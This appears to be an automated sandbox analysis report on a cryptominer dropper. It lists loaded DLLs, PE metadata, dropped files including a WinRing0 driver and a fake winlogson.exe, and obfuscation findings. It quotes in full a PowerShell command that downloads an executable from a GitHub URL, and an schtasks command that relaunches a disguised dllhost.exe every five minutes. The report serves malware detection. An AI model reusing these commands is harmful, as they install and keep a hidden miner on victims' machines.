Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\powercfg.exe Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll
Source: C:\Users\user\Desktop\Arly.exe1.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: Arly.exe1.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: Arly.exe1.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Arly.exe1.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Arly.exe1.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Arly.exe1.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Arly.exe1.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Arly.exe1.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: Arly.exe1.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Arly.exe1.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb source: file_scaricato.exe, 0000000E.00000003.2090007117.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732558298.0000000001614000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090249387.0000000001611000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr
Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WinRing0x64.sys.15.dr
Source: Binary string: C:\Users\danar\source\repos\reskapo\x64\Release\reskapo.pdb source: Arly.exe1.exe
Source: Binary string: C:\Users\danar\source\repos\reskapo\x64\Release\reskapo.pdb5 source: Arly.exe1.exe
Source: Arly.exe1.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Arly.exe1.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Arly.exe1.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Arly.exe1.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Arly.exe1.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\dmikhsv\file_scaricato.exe Unpacked PE file: 14.2.file_scaricato.exe.ba0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'" Jump to behavior
Binary contains a suspicious time stamp
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr Static PE information: 0x9A21587A [Mon Dec 11 03:03:22 2051 UTC]
PE file contains an invalid checksum
Source: winlogson.exe.15.dr Static PE information: real checksum: 0x7e7c4c should be: 0xb931b
Source: Arly.exe1.exe Static PE information: real checksum: 0x0 should be: 0x586cd
Source: file_scaricato.exe.12.dr Static PE information: real checksum: 0x0 should be: 0x146885
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr Static PE information: real checksum: 0x0 should be: 0x11c88
PE file contains sections with non-standard names
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: file_scaricato.exe.12.dr Static PE information: section name:
Source: winlogson.exe.15.dr Static PE information: section name: .xdata
Uses code obfuscation techniques (call, push, ret)
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE26D5 push edx; iretd 14_2_00BE26E2
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BB5667 push FFFFFFF6h; ret 14_2_00BB5669
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_033C378E push eax; retf 14_2_033C378F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_04DEF61A push ecx; iretd 18_2_04DEF61B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_04DE6338 pushad ; ret 18_2_04DE6341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 18_2_04DE6F1C pushad ; ret 18_2_04DE6F23
Source: file_scaricato.exe.12.dr Static PE information: section name: entropy: 7.998768554472913
Source: file_scaricato.exe.12.dr Static PE information: section name: entropy: 7.937488686072303
Source: file_scaricato.exe.12.dr Static PE information: section name: entropy: 7.973625484884604
Source: file_scaricato.exe.12.dr Static PE information: section name: entropy: 7.971762900508867
Source: file_scaricato.exe.12.dr Static PE information: section name: .data entropy: 7.988782966056313

Persistence and Installation Behavior
barindex
Sample is not signed and drops a device driver
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe File created: C:\ProgramData\Dllhost\WinRing0x64.sys Jump to behavior
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe File created: C:\ProgramData\Dllhost\WinRing0x64.sys Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe File created: C:\ProgramData\Dllhost\winlogson.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\dmikhsv\file_scaricato.exe Jump to dropped file
Source: C:\dmikhsv\file_scaricato.exe File created: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe File created: C:\ProgramData\Dllhost\WinRing0x64.sys Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe File created: C:\ProgramData\Dllhost\winlogson.exe Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Users\user\Desktop\Arly.exe1.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
